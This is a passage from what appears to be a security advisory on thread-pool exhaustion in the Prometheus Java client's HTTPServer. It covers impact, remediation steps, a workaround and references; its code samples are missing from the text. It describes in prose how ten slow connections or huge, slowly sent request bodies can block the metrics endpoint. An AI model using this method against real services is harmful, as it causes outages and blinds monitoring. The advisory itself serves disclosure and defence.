HTTPServer:BlockingRejectedExecutionHandler.put()to block the JDKHttpServerdispatcher.maxReqTime=60), the JDKHttpServermay close the slow connections, temporarily freeing threads.7. Impact Analysis
7.1 Availability Impact
Trivial Thread Pool Exhaustion: With a hard-coded maximum of 10 threads, an attacker needs only 10 concurrent slow connections to fully exhaust the pool. This is a remarkably low bar for a denial-of-service attack.
Indefinite Blocking, Not Graceful Rejection: The
BlockingRejectedExecutionHandlerensures that when the pool is exhausted, new requests are not rejected with an HTTP 503 (Service Unavailable) error. Instead, they block indefinitely. This means clients receive no indication of overload and cannot implement retry logic.Prometheus Scrape Failures: When the metrics endpoint is unresponsive, the Prometheus server's scrape requests time out (default
scrape_timeout: 10s). This creates gaps in monitoring data. Theupmetric for the target drops to 0, but if the attacker sustains the attack, alerting rules based on metric thresholds will not fire because no data is collected.Monitoring Blind Spots: A sustained thread pool exhaustion attack against the metrics endpoint can mask other ongoing attacks or system failures. If alerting depends on metrics exposed through this endpoint (CPU usage, error rates, latency percentiles), those alerts become non-functional during the attack.
7.2 Amplification via
drainInputAndCloseThe
drainInputAndClose()method at lines 163-170 reads the entire HTTP request body without enforcing a maximum size:This allows an attacker to send multi-gigabyte request bodies, forcing a server thread to spend extended time reading data before it can process the next request. Combined with rate-limiting the upload speed, a single connection can hold a thread for an arbitrarily long time (up to the
maxReqTimelimit).7.3 Deployment Context
The
HTTPServercomponent is used in:In containerized environments (Kubernetes), the metrics port is often accessible from within the cluster network to any pod, expanding the potential attacker surface. Service mesh configurations that expose metrics endpoints through sidecars also inherit this vulnerability.
7.4 Comparison with Standard Java HTTP Server Defaults
The JDK
com.sun.net.httpserver.HttpServerdoes not impose a default thread pool limit. When no executor is set, it runs handlers on the caller thread. The Prometheus client library's choice to use a 10-thread pool with a blocking rejection handler creates an artificial and severe constraint that does not exist in the underlying platform.8. Affected Component Architecture
9. Remediation
9.1 Increase Maximum Pool Size and Use a Bounded Queue
Replace the current
ThreadPoolExecutorconfiguration with a more robust setup that can handle load spikes:9.2 Replace BlockingRejectedExecutionHandler with a Rejection Policy
Replace the indefinite-blocking handler with a policy that returns HTTP 503 to the client:
Or implement a custom handler that responds with HTTP 503:
9.3 Add Request Body Size Limits to
drainInputAndCloseEnforce a maximum request body size to prevent unbounded reads:
9.4 Make Pool Size Configurable
Expose the thread pool configuration through the builder API and/or
PrometheusProperties:9.5 Reduce Request and Response Timeouts
Lower the
maxReqTimedefault and especially themaxRspTimedefault:9.6 Workaround
Users can provide their own
ExecutorServicevia the builder API to override the default pool:This workaround is available because the
makeExecutorService()method checksif (executorService != null)first. However, this requires users to be aware of the vulnerability and take proactive action.10. References
CWE-770: Allocation of Resources Without Limits or Throttling
Slowloris Attack: OWASP - Slowloris HTTP DoS
Java
ThreadPoolExecutorDocumentation: java.util.concurrent.ThreadPoolExecutorJava
SynchronousQueueDocumentation: java.util.concurrent.SynchronousQueue -- "Each insert operation must wait for a corresponding remove operation by another thread, and vice versa."sun.net.httpserverSystem Properties: JDK internal implementation; seesun.net.httpserver.ServerConfigsource formaxReqTimeandmaxRspTimebehavior.Prometheus client_java GitHub Repository: https://github.com/prometheus/client_java
Vulnerable Source Files:
HTTPServer.java(lines 335-348, 163-170)BlockingRejectedExecutionHandler.java(lines 6-18)Reported by: Security Research Team
Date: 2026-06-24
Severity: Medium (CVSS 5.3)
CWE: CWE-770 (Allocation of Resources Without Limits or Throttling)
Status: Unpatched (as of version 1.8.0)